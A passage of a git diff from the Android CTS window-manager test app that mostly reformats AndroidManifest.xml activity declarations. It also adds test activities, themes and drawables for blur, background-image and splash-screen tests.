-                  androidprv:alwaysFocusable="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-        />
+             android:resizeableActivity="false"
+             androidprv:alwaysFocusable="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true"/>
         <activity android:name=".LaunchPipOnPipActivity"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  android:taskAffinity="nobody.but.LaunchPipOnPipActivity"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-        />
+             android:resizeableActivity="false"
+             android:supportsPictureInPicture="true"
+             android:taskAffinity="nobody.but.LaunchPipOnPipActivity"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true"/>
         <activity android:name=".LaunchEnterPipActivity"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  androidprv:alwaysFocusable="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-        />
+             android:resizeableActivity="false"
+             android:supportsPictureInPicture="true"
+             androidprv:alwaysFocusable="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true"/>
         <activity android:name=".PipActivityWithMinimalSize"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-                  android:taskAffinity="nobody.but.PipActivity">
+             android:resizeableActivity="false"
+             android:supportsPictureInPicture="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true"
+             android:taskAffinity="nobody.but.PipActivity">
                   <layout android:minWidth="100dp"
-                          android:minHeight="80dp"
-                  />
+                       android:minHeight="80dp"/>
         </activity>
         <activity android:name=".FreeformActivity"
-                  android:resizeableActivity="true"
-                  android:taskAffinity="nobody.but.FreeformActivity"
-                  android:exported="true"
-        />
+             android:resizeableActivity="true"
+             android:taskAffinity="nobody.but.FreeformActivity"
+             android:exported="true"/>
         <activity android:name=".TopLeftLayoutActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true">
+             android:resizeableActivity="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true">
                   <layout android:defaultWidth="240dp"
-                          android:defaultHeight="160dp"
-                          android:gravity="top|left"
-                          android:minWidth="100dp"
-                          android:minHeight="80dp"
-                  />
+                       android:defaultHeight="160dp"
+                       android:gravity="top|left"
+                       android:minWidth="100dp"
+                       android:minHeight="80dp"/>
         </activity>
         <activity android:name=".TopRightLayoutActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true">
+             android:resizeableActivity="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true">
                   <layout android:defaultWidth="50%"
-                          android:defaultHeight="70%"
-                          android:gravity="top|right"
-                          android:minWidth="50dp"
-                          android:minHeight="80dp"
-                  />
+                       android:defaultHeight="70%"
+                       android:gravity="top|right"
+                       android:minWidth="50dp"
+                       android:minHeight="80dp"/>
         </activity>
         <activity android:name=".BottomLeftLayoutActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true">
+             android:resizeableActivity="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true">
                   <layout android:defaultWidth="50%"
-                          android:defaultHeight="70%"
-                          android:gravity="bottom|left"
-                          android:minWidth="50dp"
-                          android:minHeight="80dp"
-                  />
+                       android:defaultHeight="70%"
+                       android:gravity="bottom|left"
+                       android:minWidth="50dp"
+                       android:minHeight="80dp"/>
         </activity>
         <activity android:name=".BottomRightLayoutActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true">
+             android:resizeableActivity="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true">
                   <layout android:defaultWidth="240dp"
-                          android:defaultHeight="160dp"
-                          android:gravity="bottom|right"
-                          android:minWidth="100dp"
-                          android:minHeight="80dp"
-                  />
+                       android:defaultHeight="160dp"
+                       android:gravity="bottom|right"
+                       android:minWidth="100dp"
+                       android:minHeight="80dp"/>
         </activity>
         <activity android:name=".TurnScreenOnActivity"
-                  android:exported="true"
-        />
+             android:exported="true"/>
         <activity android:name=".TurnScreenOnDismissKeyguardActivity"
-            android:exported="true"
-        />
+             android:exported="true"/>
         <activity android:name=".SingleTaskActivity"
-            android:exported="true"
-            android:launchMode="singleTask"
-        />
+             android:exported="true"
+             android:launchMode="singleTask"/>
         <activity android:name=".SingleInstanceActivity"
-            android:exported="true"
-            android:launchMode="singleInstance"
-        />
+             android:exported="true"
+             android:launchMode="singleInstance"/>
         <activity android:name=".TrampolineActivity"
-                  android:exported="true"
-                  android:theme="@android:style/Theme.NoDisplay"
-        />
+             android:exported="true"
+             android:theme="@android:style/Theme.NoDisplay"/>
         <activity android:name=".BroadcastReceiverActivity"
-                  android:resizeableActivity="true"
-                  android:exported="true"
-        />
+             android:resizeableActivity="true"
+             android:exported="true"/>
         <activity-alias android:enabled="true"
-                android:exported="true"
-                android:name=".EntryPointAliasActivity"
-                android:targetActivity=".TrampolineActivity" >
+             android:exported="true"
+             android:name=".EntryPointAliasActivity"
+             android:targetActivity=".TrampolineActivity">
         </activity-alias>
         <activity android:name=".BottomActivity"
-                  android:exported="true"
-                  android:theme="@style/NoPreview"
-        />
+             android:exported="true"
+             android:theme="@style/NoPreview"/>
         <activity android:name=".TopActivity"
-                  android:process=".top_process"
-                  android:exported="true"
-                  android:theme="@style/NoPreview"
-        />
+             android:process=".top_process"
+             android:exported="true"
+             android:theme="@style/NoPreview"/>
         <activity android:name=".UnresponsiveActivity"
-                  android:process=".unresponsive_activity_process"
-                  android:exported="true"
-                  android:theme="@style/NoPreview"
-        />
+             android:process=".unresponsive_activity_process"
+             android:exported="true"
+             android:theme="@style/NoPreview"/>
         <activity android:name=".TranslucentTopActivity"
-                  android:process=".top_process"
-                  android:exported="true"
-                  android:theme="@style/TranslucentTheme"
-        />
+             android:process=".top_process"
+             android:exported="true"
+             android:theme="@style/TranslucentTheme"/>
         <activity android:name=".TopNonResizableActivity"
-                  android:exported="true"
-                  android:resizeableActivity="false"
-                  android:theme="@style/NoPreview"
+             android:exported="true"
+             android:resizeableActivity="false"
+             android:theme="@style/NoPreview"
         />
         <activity android:name=".BottomNonResizableActivity"
-                  android:exported="true"
-                  android:resizeableActivity="false"
-                  android:theme="@style/NoPreview"
+             android:exported="true"
+             android:resizeableActivity="false"
+             android:theme="@style/NoPreview"
         />
         <activity android:name=".TranslucentTopNonResizableActivity"
-                  android:process=".top_process"
-                  android:exported="true"
-                  android:resizeableActivity="false"
-                  android:theme="@style/TranslucentTheme"
+             android:process=".top_process"
+             android:exported="true"
+             android:resizeableActivity="false"
+             android:theme="@style/TranslucentTheme"
         />
         <!-- An animation test with an explicitly opaque theme, overriding device defaults, as the
-             animation background being tested is not used in translucent activities. -->
+                         animation background being tested is not used in translucent activities. -->
         <activity android:name=".AnimationTestActivity"
-                  android:theme="@style/OpaqueTheme"
-                  android:exported="true"
-        />
+             android:theme="@style/OpaqueTheme"
+             android:exported="true"/>
         <activity android:name=".VirtualDisplayActivity"
-                  android:resizeableActivity="true"
-                  android:exported="true"
-                  android:taskAffinity="nobody.but.VirtualDisplayActivity"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|keyboardHidden"
-        />
+             android:resizeableActivity="true"
+             android:exported="true"
+             android:taskAffinity="nobody.but.VirtualDisplayActivity"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|keyboardHidden"/>
         <activity android:name=".ShowWhenLockedActivity"
-                  android:exported="true"
-        />
+             android:exported="true"/>
         <activity android:name=".ShowWhenLockedWithDialogActivity"
-                  android:exported="true"
-        />
+             android:exported="true"/>
         <activity android:name=".ShowWhenLockedDialogActivity"
-            android:exported="true"
-            android:theme="@android:style/Theme.Material.Dialog"
-        />
+             android:exported="true"
+             android:theme="@android:style/Theme.Material.Dialog"/>
         <activity android:name=".ShowWhenLockedTranslucentActivity"
-                  android:exported="true"
-                  android:theme="@android:style/Theme.Translucent"
-        />
+             android:exported="true"
+             android:theme="@android:style/Theme.Translucent"/>
         <activity android:name=".DismissKeyguardActivity"
-                  android:exported="true"
-        />
+             android:exported="true"/>
         <activity android:name=".DismissKeyguardMethodActivity"
-            android:exported="true"
-        />
+             android:exported="true"/>
         <activity android:name=".WallpaperActivity"
-            android:exported="true"
-            android:theme="@style/WallpaperTheme"
-        />
+             android:exported="true"
+             android:theme="@style/WallpaperTheme"/>
         <activity android:name=".InputMethodTestActivity"
-                android:exported="true" />
+             android:exported="true"/>
         <activity android:name=".KeyguardLockActivity"
-                  android:exported="true"
-        />
+             android:exported="true"/>
         <activity android:name=".LogConfigurationActivity"
-            android:exported="true"
-            android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-        />
+             android:exported="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"/>
         <activity android:name=".PortraitOrientationActivity"
-                  android:exported="true"
-                  android:screenOrientation="portrait"
-                  android:documentLaunchMode="always"
-        />
+             android:exported="true"
+             android:screenOrientation="portrait"
+             android:documentLaunchMode="always"/>
         <activity android:name=".LandscapeOrientationActivity"
-                  android:exported="true"
-                  android:screenOrientation="landscape"
-                  android:documentLaunchMode="always"
-        />
+             android:exported="true"
+             android:screenOrientation="landscape"
+             android:documentLaunchMode="always"/>
         <activity android:name=".MoveTaskToBackActivity"
-                  android:exported="true"
-                  android:launchMode="singleInstance"
-        />
+             android:exported="true"
+             android:launchMode="singleInstance"/>
         <activity android:name=".NightModeActivity"
-                  android:exported="true"
-                  android:configChanges="uiMode"
-        />
+             android:exported="true"
+             android:configChanges="uiMode"/>
         <activity android:name=".FontScaleActivity"
-                  android:exported="true"
-        />
+             android:exported="true"/>
         <activity android:name=".FontScaleNoRelaunchActivity"
-                  android:exported="true"
-                  android:configChanges="fontScale"
-        />
+             android:exported="true"
+             android:configChanges="fontScale"/>
         <activity android:name=".DisplayAccessCheckEmbeddingActivity"
-                   android:allowEmbedded="true"
-                   android:exported="true"/>
-        <receiver
-            android:name=".LaunchBroadcastReceiver"
-            android:enabled="true"
-            android:exported="true" >
+             android:allowEmbedded="true"
+             android:exported="true"/>
+        <receiver android:name=".LaunchBroadcastReceiver"
+             android:enabled="true"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.server.wm.app.LAUNCH_BROADCAST_ACTION"/>
                 <action android:name="android.server.wm.app.ACTION_TEST_ACTIVITY_START"/>
@@ -367,168 +313,165 @@
         </receiver>
 
         <activity android:name=".AssistantActivity"
-            android:exported="true"
-            android:screenOrientation="locked" />
+             android:exported="true"
+             android:screenOrientation="locked"/>
         <activity android:name=".TranslucentAssistantActivity"
-            android:exported="true"
-            android:theme="@style/Theme.Transparent" />
+             android:exported="true"
+             android:theme="@style/Theme.Transparent"/>
         <activity android:name=".LaunchAssistantActivityFromSession"
-            android:taskAffinity="nobody.but.LaunchAssistantActivityFromSession"
-            android:exported="true" />
+             android:taskAffinity="nobody.but.LaunchAssistantActivityFromSession"
+             android:exported="true"/>
         <activity android:name=".LaunchAssistantActivityIntoAssistantStack"
-            android:taskAffinity="nobody.but.LaunchAssistantActivityIntoAssistantStack"
-            android:exported="true" />
+             android:taskAffinity="nobody.but.LaunchAssistantActivityIntoAssistantStack"
+             android:exported="true"/>
 
         <service android:name=".AssistantVoiceInteractionService"
-                 android:permission="android.permission.BIND_VOICE_INTERACTION"
-                 android:exported="true">
+             android:permission="android.permission.BIND_VOICE_INTERACTION"
+             android:exported="true">
             <meta-data android:name="android.voice_interaction"
-                       android:resource="@xml/interaction_service" />
+                 android:resource="@xml/interaction_service"/>
             <intent-filter>
-                <action android:name="android.service.voice.VoiceInteractionService" />
+                <action android:name="android.service.voice.VoiceInteractionService"/>
             </intent-filter>
         </service>
 
         <service android:name=".AssistantVoiceInteractionSessionService"
-                 android:permission="android.permission.BIND_VOICE_INTERACTION"
-                 android:exported="true" />
+             android:permission="android.permission.BIND_VOICE_INTERACTION"
+             android:exported="true"/>
 
         <activity android:name=".SplashscreenActivity"
-            android:taskAffinity="nobody.but.SplashscreenActivity"
-            android:theme="@style/SplashscreenTheme"
-            android:exported="true" />
+             android:taskAffinity="nobody.but.SplashscreenActivity"
+             android:theme="@style/SplashscreenTheme"
+             android:exported="true"/>
 
         <activity android:name=".NoHistoryActivity"
-                  android:noHistory="true"
-                  android:exported="true" />
+             android:noHistory="true"
+             android:exported="true"/>
 
         <activity android:name=".ShowWhenLockedAttrActivity"
-                  android:showWhenLocked="true"
-                  android:exported="true" />
+             android:showWhenLocked="true"
+             android:exported="true"/>
 
         <activity android:name=".ShowWhenLockedAttrRemoveAttrActivity"
-                  android:showWhenLocked="true"
-                  android:exported="true" />
+             android:showWhenLocked="true"
+             android:exported="true"/>
 
         <activity android:name=".ShowWhenLockedAttrWithDialogActivity"
-                  android:showWhenLocked="true"
-                  android:exported="true" />
+             android:showWhenLocked="true"
+             android:exported="true"/>
 
         <activity android:name=".InheritShowWhenLockedAddActivity"
-            android:exported="true" />
+             android:exported="true"/>
 
         <activity android:name=".InheritShowWhenLockedAttrActivity"
-                  android:inheritShowWhenLocked="true"
-                  android:exported="true" />
+             android:inheritShowWhenLocked="true"
+             android:exported="true"/>
 
         <activity android:name=".InheritShowWhenLockedRemoveActivity"
-                  android:inheritShowWhenLocked="true"
-                  android:exported="true" />
+             android:inheritShowWhenLocked="true"
+             android:exported="true"/>
 
         <activity android:name=".NoInheritShowWhenLockedAttrActivity"
-                  android:exported="true" />
+             android:exported="true"/>
 
         <activity android:name=".ShowWhenLockedAttrImeActivity"
-                  android:showWhenLocked="true"
-                  android:exported="true" />
+             android:showWhenLocked="true"
+             android:exported="true"/>
 
         <activity android:name=".ShowWhenLockedAttrRotationActivity"
-                  android:showWhenLocked="true"
-                  android:configChanges="orientation|screenSize"
-                  android:exported="true" />
+             android:showWhenLocked="true"
+             android:configChanges="orientation|screenSize"
+             android:exported="true"/>
 
         <activity android:name=".ToastActivity"
-                  android:exported="true"/>
+             android:exported="true"/>
 
         <activity android:name=".TurnScreenOnAttrActivity"
-                  android:turnScreenOn="true"
-                  android:exported="true" />
+             android:turnScreenOn="true"
+             android:exported="true"/>
 
         <activity android:name=".TurnScreenOnShowOnLockActivity"
-                  android:showWhenLocked="true"
-                  android:turnScreenOn="true"
-                  android:exported="true" />
+             android:showWhenLocked="true"
+             android:turnScreenOn="true"
+             android:exported="true"/>
 
         <activity android:name=".TurnScreenOnAttrRemoveAttrActivity"
-                  android:turnScreenOn="true"
-                  android:showWhenLocked="true"
-                  android:exported="true" />
+             android:turnScreenOn="true"
+             android:showWhenLocked="true"
+             android:exported="true"/>
 
         <activity android:name=".TurnScreenOnSingleTaskActivity"
-                  android:turnScreenOn="true"
-                  android:showWhenLocked="true"
-                  android:exported="true"
-                  android:launchMode="singleTask" />
+             android:turnScreenOn="true"
+             android:showWhenLocked="true"
+             android:exported="true"
+             android:launchMode="singleTask"/>
 
         <activity android:name=".TurnScreenOnAttrDismissKeyguardActivity"
-                  android:turnScreenOn="true"
-                  android:exported="true"/>
+             android:turnScreenOn="true"
+             android:exported="true"/>
 
         <activity android:name=".TurnScreenOnWithRelayoutActivity"
-                  android:exported="true"/>
+             android:exported="true"/>
 
         <activity android:name=".RecursiveActivity"
-                  android:exported="true"/>
+             android:exported="true"/>
 
         <activity android:name=".LaunchTestOnDestroyActivity"
-                  android:exported="true"/>
+             android:exported="true"/>
 
         <activity android:name=".ReportFullyDrawnActivity"
-                  android:exported="true"/>
+             android:exported="true"/>
 
         <activity android:name=".NoDisplayActivity"
-                  android:exported="true"
-                  android:theme="@android:style/Theme.NoDisplay"/>
+             android:exported="true"
+             android:theme="@android:style/Theme.NoDisplay"/>
 
         <activity android:name=".SingleTaskInstanceDisplayActivity"
-                  android:exported="true" />
+             android:exported="true"/>
 
         <activity android:name=".SingleTaskInstanceDisplayActivity2"
-                  android:exported="true" />
+             android:exported="true"/>
 
         <activity android:name=".SingleTaskInstanceDisplayActivity3"
-                  android:exported="true"
-                  android:launchMode="singleInstance" />
+             android:exported="true"
+             android:launchMode="singleInstance"/>
 
-        <service
-            android:name=".LiveWallpaper"
-            android:permission="android.permission.BIND_WALLPAPER">
+        <service android:name=".LiveWallpaper"
+             android:permission="android.permission.BIND_WALLPAPER"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.service.wallpaper.WallpaperService">
                 </action>
             </intent-filter>
-            <meta-data
-                android:name="android.service.wallpaper"
-                android:resource="@xml/wallpaper">
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/wallpaper">
             </meta-data>
         </service>
 
-        <service
-            android:name=".TestDream"
-            android:exported="true"
-            android:permission="android.permission.BIND_DREAM_SERVICE">
+        <service android:name=".TestDream"
+             android:exported="true"
+             android:permission="android.permission.BIND_DREAM_SERVICE">
             <intent-filter>
-                <action android:name="android.service.dreams.DreamService" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.service.dreams.DreamService"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </service>
 
-        <service
-            android:name=".TestStubbornDream"
-            android:exported="true"
-            android:permission="android.permission.BIND_DREAM_SERVICE">
+        <service android:name=".TestStubbornDream"
+             android:exported="true"
+             android:permission="android.permission.BIND_DREAM_SERVICE">
             <intent-filter>
-                <action android:name="android.service.dreams.DreamService" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.service.dreams.DreamService"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </service>
 
         <!-- Disable home activities by default or it may disturb other tests by
-             showing ResolverActivity when start home activity -->
+                         showing ResolverActivity when start home activity -->
         <activity-alias android:name=".HomeActivity"
-                        android:targetActivity=".TestActivity"
-                        android:enabled="false"
-                        android:exported="true">
+             android:targetActivity=".TestActivity"
+             android:enabled="false"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.HOME"/>
@@ -537,9 +480,9 @@
         </activity-alias>
 
         <activity-alias android:name=".SecondaryHomeActivity"
-                        android:targetActivity=".TestActivity"
-                        android:enabled="false"
-                        android:exported="true">
+             android:targetActivity=".TestActivity"
+             android:enabled="false"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.HOME"/>
@@ -549,9 +492,9 @@
         </activity-alias>
 
         <activity-alias android:name=".SingleHomeActivity"
-                        android:targetActivity=".SingleInstanceActivity"
-                        android:enabled="false"
-                        android:exported="true">
+             android:targetActivity=".SingleInstanceActivity"
+             android:enabled="false"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.HOME"/>
@@ -560,9 +503,9 @@
         </activity-alias>
 
         <activity-alias android:name=".SingleSecondaryHomeActivity"
-                        android:targetActivity=".SingleInstanceActivity"
-                        android:enabled="false"
-                        android:exported="true">
+             android:targetActivity=".SingleInstanceActivity"
+             android:enabled="false"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.HOME"/>
@@ -572,43 +515,55 @@
         </activity-alias>
 
         <service android:name="com.android.cts.verifier.vr.MockVrListenerService"
-                 android:exported="true"
-                 android:enabled="true"
-                 android:permission="android.permission.BIND_VR_LISTENER_SERVICE">
+             android:exported="true"
+             android:enabled="true"
+             android:permission="android.permission.BIND_VR_LISTENER_SERVICE">
            <intent-filter>
-               <action android:name="android.service.vr.VrListenerService" />
+               <action android:name="android.service.vr.VrListenerService"/>
            </intent-filter>
         </service>
 
         <activity android:name=".HostActivity"
-                  android:exported="true">
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.server.wm.app.HostActivity"></action>
+                <action android:name="android.server.wm.app.HostActivity"/>
             </intent-filter>
         </activity>
         <service android:name=".RenderService"
-                 android:process=".render_process" />
-        <activity
-            android:name=".ClickableToastActivity"
+             android:process=".render_process"/>
+        <activity android:name=".ClickableToastActivity"
+             android:exported="true"/>
+        <activity android:name=".MinimalPostProcessingActivity"
+             android:exported="true"/>
+        <activity android:name=".MinimalPostProcessingActivity2"
+             android:exported="true"/>
+        <activity android:name=".MinimalPostProcessingManifestActivity"
+             android:preferMinimalPostProcessing="true"
+             android:exported="true"/>
+        <activity android:name=".PopupMinimalPostProcessingActivity"
+             android:theme="@android:style/Theme.Holo.Dialog.NoActionBar"
+             android:exported="true"/>
+        <activity android:name=".CrashingActivity"
             android:exported="true" />
-        <activity
-            android:name=".MinimalPostProcessingActivity"
-            android:exported="true" />
-        <activity
-            android:name=".MinimalPostProcessingActivity2"
-            android:exported="true"/>
-        <activity
-            android:name=".MinimalPostProcessingManifestActivity"
-            android:preferMinimalPostProcessing="true"
-            android:exported="true"/>
-        <activity
-            android:name=".PopupMinimalPostProcessingActivity"
-            android:theme="@android:style/Theme.Holo.Dialog.NoActionBar"
-            android:exported="true" />
-        <activity
-            android:name=".PresentationActivity"
-            android:launchMode="singleTop"
-            android:exported="true" />
+        <activity android:name=".PresentationActivity"
+             android:launchMode="singleTop"
+             android:exported="true"/>
+        <activity android:name=".HideOverlayWindowsActivity" android:exported="true"/>
+        <activity android:name=".BlurActivity"
+             android:exported="true"
+             android:theme="@style/Theme.Tinted.Translucent.Dialog"/>
+        <activity android:name=".BackgroundImageActivity"
+             android:exported="true"/>
+
+        <activity android:name=".HandleSplashScreenExitActivity"
+                  android:theme="@style/ShowBrandingTheme"
+                  android:configChanges="uiMode"
+                  android:exported="true"/>
+        <activity android:name=".SplashScreenReplaceIconActivity"
+                  android:exported="true"
+                  android:theme="@style/ReplaceIconTheme"/>
+
+        <service android:name=".OverlayTestService"
+                 android:exported="true" />
     </application>
 </manifest>
-
diff --git a/tests/framework/base/windowmanager/app/res/drawable/animationDrawable.xml b/tests/framework/base/windowmanager/app/res/drawable/animationDrawable.xml
new file mode 100644
index 0000000..698a6e6
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/res/drawable/animationDrawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<animation-list xmlns:android="http://schemas.android.com/apk/res/android" android:oneshot="true">
+    <item android:drawable="@drawable/start" android:duration="500"/>
+</animation-list>
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/app/res/drawable/branding.png b/tests/framework/base/windowmanager/app/res/drawable/branding.png
new file mode 100644
index 0000000..0da4ee1
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/res/drawable/branding.png
Binary files differ
diff --git a/tests/framework/base/windowmanager/app/res/drawable/image.jpg b/tests/framework/base/windowmanager/app/res/drawable/image.jpg
new file mode 100644
index 0000000..b46587b
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/res/drawable/image.jpg
Binary files differ
diff --git a/tests/framework/base/windowmanager/app/res/drawable/start.jpg b/tests/framework/base/windowmanager/app/res/drawable/start.jpg
new file mode 100644
index 0000000..54e05e0
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/res/drawable/start.jpg
Binary files differ
diff --git a/tests/framework/base/windowmanager/app/res/layout/blur_activity.xml b/tests/framework/base/windowmanager/app/res/layout/blur_activity.xml
new file mode 100644
index 0000000..db6594d
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/res/layout/blur_activity.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="200dp"
+    android:layout_height="100dp">
+</FrameLayout>
diff --git a/tests/framework/base/windowmanager/app/res/values/colors.xml b/tests/framework/base/windowmanager/app/res/values/colors.xml
index 2a51310..94962fc 100644
--- a/tests/framework/base/windowmanager/app/res/values/colors.xml
+++ b/tests/framework/base/windowmanager/app/res/values/colors.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <drawable name="red">#ff0000</drawable>
+    <drawable name="blue">#0000ff</drawable>
 </resources>
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/app/res/values/styles.xml b/tests/framework/base/windowmanager/app/res/values/styles.xml
index c6a36d1..8f15cf4 100644
--- a/tests/framework/base/windowmanager/app/res/values/styles.xml
+++ b/tests/framework/base/windowmanager/app/res/values/styles.xml
@@ -47,4 +47,19 @@
     <style name="SplashscreenTheme" parent="@android:style/Theme.Material.NoActionBar">
         <item name="android:windowSplashscreenContent">@drawable/red</item>
     </style>
+
+    <style name="Theme.Tinted.Translucent.Dialog" parent="@android:style/Theme.Material.Dialog">
+        <item name="android:windowIsTranslucent">true</item>
+        <item name="android:windowBackground">#20FFFFFF</item>
+        <item name="android:windowNoTitle">true</item>
+    </style>
+
+    <style name="ReplaceIconTheme" parent="@android:style/Theme.Material.NoActionBar">
+        <item name="android:windowSplashScreenBackground">@drawable/blue</item>
+        <item name="android:windowSplashScreenAnimatedIcon">@drawable/animationDrawable</item>
+        <item name="android:windowSplashScreenAnimationDuration">500</item>
+    </style>
+    <style name="ShowBrandingTheme" parent="@android:style/Theme.Material.NoActionBar">
+        <item name="android:windowSplashScreenBrandingImage">@drawable/branding</item>
+    </style>
 </resources>
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AlwaysFocusablePipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AlwaysFocusablePipActivity.java
index 959c922..3e98553 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AlwaysFocusablePipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AlwaysFocusablePipActivity.java
@@ -26,7 +26,7 @@
 import android.content.Intent;
 import android.graphics.Rect;
 
-public class AlwaysFocusablePipActivity extends Activity {
+public class AlwaysFocusablePipActivity extends PipActivity {
 
     static void launchAlwaysFocusablePipActivity(Activity caller, boolean newTask) {
         launchAlwaysFocusablePipActivity(caller, newTask, false /* multiTask */);
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/BackgroundImageActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/BackgroundImageActivity.java
new file mode 100644
index 0000000..9e67138
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/BackgroundImageActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.app;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+
+public class BackgroundImageActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().setBackgroundDrawable(getResources().getDrawable(R.drawable.image));
+    }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/BlurActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/BlurActivity.java
new file mode 100644
index 0000000..52ffd51
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/BlurActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.app;
+
+import static android.server.wm.app.Components.BlurActivity.ACTION_FINISH;
+import static android.server.wm.app.Components.BlurActivity.EXTRA_BACKGROUND_BLUR_RADIUS_PX;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
